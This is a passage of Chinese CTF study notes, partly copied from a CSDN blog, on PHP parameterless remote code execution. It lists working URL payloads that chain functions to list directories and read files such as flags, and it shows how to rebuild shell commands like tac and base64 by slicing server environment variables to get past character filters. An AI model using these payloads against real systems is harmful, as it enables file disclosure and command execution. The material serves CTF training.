7. 无参 RCE 构造
https://blog.csdn.net/qi_SJQ_/article/details/119457821
算是一种特殊的绕过方式,套娃形式,数学函数的理解,不过未限制长度。
chr():根据ascii码值将数字转换成字符串
get_defined_vars() 获取题目相关变量
print_r() 函数用于打印变量,以更容易理解的形式展示
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中
的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
current(): 返回数组当前值
reset(): 设置当前数组指针指向第一个单元
crypt(): 单项字符串散列,相当于将字符串转换为hash等的复杂字符串
floor(): 舍去法取整
ceil(): 进一法取整
sinh/cosh(): 双曲正弦/余弦
scandir(string $directory): array: 列出指定路径中的文件和目录,返回一个 array,
包含有 directory 中的文件和目录。
getcwd(): 获取当前工作目录 返回当前目录的绝对路径------返回路径
(1). 的构造
chr(): 返回相对应于 ascii 所指定的单个字符。而ord()作用正好与它相反。
我们知道46在ASCII码中即表示,所以可构造chr(46) 得出“.”。但46也是参数…,就要再构造46:chr(current(localtime(time())));
.对应ascii码的46
————————————————
版权声明:本文为CSDN博主「暮w光」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qi_SJQ_/article/details/119457821
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
chr(ord(hebrevc(crypt(time())))) #小概率
chr(ord(strrev(crypt(serialize(array()))))
ord(hebrevc(crypt(arg))):需要多刷新几次,可能是 $ 或 .
(2)查当前⽬录
localtime():数组形式输出本地时间,第一个指向秒,因此多刷新几次,60秒内绝对可以得到46进而得到“.”
current():输出数组中的当前元素的值,数组内部指针默认指向第一个值,可通过next()移动指针。这可以用来遍历目录。
payload:?c=print_r(scandir(current(localeconv())));
或者是
?c=print_r(scandir(pos(localeconv()))); #pos是current的别名,localeconv()返
回的数组中第一个值为'.'
?c=print_r(scandir(reset(localeconv())));
?c=print_r(scandir(char(46));
?c=print_r(scandir(char(time())); #不实际
?c=print_r(scandir(char(rand())); #不实际
?c=print_r(scandir(char(current(localtime(time()))));
#chr()函数以256为一个周期,则chr(46),chr(302).chr(558)均为 .
#char(current(localtime(time())))数组第一个值是秒数,则每60秒均会有一个46
print_r(scandir(chr(ord(hebrevc(crypt(time())))))); #小概率
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //存在概率问
题
print_r(scandir(getcwd()));
(3) 查倒数第⼆个⽂件
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读
取数组倒数第二个元素
?c=show_source(next(arrray_reverse(scandir(getcwd()))));
(4)读最后⼀个⽂件
?c=show_source(current(array_reverse(scandir(getcwd()))));#flag在最后一个文
件
(5)不确定文件位置
?c=show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip - 交换数组中的键和值
array_rand — 从数组中随机取出一个或多个随机键,有两个参数默认为1
?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
#array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机
返回一个数组
#getchwd() 函数返回当前工作目录。
show_source() 等函数是默认在当前工作目录读取该文件的。即我们需要将上级目录设置为工作目录才能读取。
(6)目标文件不在当前目录中
8.系统命令构造数字
{_} = ""
$(())=0
$((~$(())))=-1
9.服务器变量构造查询语句
(1)常见系统变量
系统变量
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[HOSTNAME] => glot-runner
[PHPIZE_DEPS] => autoconf dpkg-dev file g++
gcc libc-dev make pkg-config re2c
[PHP_INI_DIR] => /usr/local/etc/php
[PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2
D6021E995DC9FF8D3EE5AF27F
[PHP_VERSION] => 7.2.1
[PHP_URL] => https://secure.php.net/get/php-7.2.1.tar.xz/from/this/mir
ror
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/
this/mirror
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d
8e6efd8822
[PHP_MD5] =>
[HOME] => /home/glot
[PHP_SELF] => /tmp/543750210/main.php
[SCRIPT_NAME] => /tmp/543750210/main.php
[SCRIPT_FILENAME] => /tmp/543750210/main.php
[PATH_TRANSLATED] => /tmp/543750210/main.php
[DOCUMENT_ROOT] =>
[REQUEST_TIME_FLOAT] => 1524198667.12
[REQUEST_TIME] => 1524198667
[argv] => Array
(
[0] => /tmp/543750210/main.php
)
[argc] => 1
)
(2)构建tac
tac====>${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERS ION:${PHP_VERSION:~A}:~${SHLVL}}}
⾸先获取到3以便于得到 PHP_CFLAGS 中的tac:
从 PHP_VERSION 中截取 ${PHP_VERSION:2:1} //切⽚操作
这⾥的2:
可以⽤ ${PHP_VERSION:~A} 得到字符串的最后⼀位 这⾥的1:
可以⽤ ${~SHLVL} 得到,因为按位取反10取反得到01所以 ~2=1 ;
因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}} 最终的tac命令:
a. ${PHP_CFLAGS:3:3} //切⽚操作,也就是上⾯3的语句直接复制⼀遍 也就是: ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${ PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令
(3)构建base64
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
???? //代表base
${#PHP_VERSION}${PHP_CFLAGS:~A} //代表64
题目需要base64命令的绝对路径:
${PWD::${#SHLVL}} //代表'/'
${#SHLVL} //#用来求变量值的长度
初次完整的命令:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A}
????.??? //长度超过限制需要缩减
随机数:
${RANDOM} //随机代表一个数
${#RANDOM} //代表这个随机数的长度
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字
符串代替
最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? //带有随机
性,只要${RANDOM}是一个四位数就可以,多试几次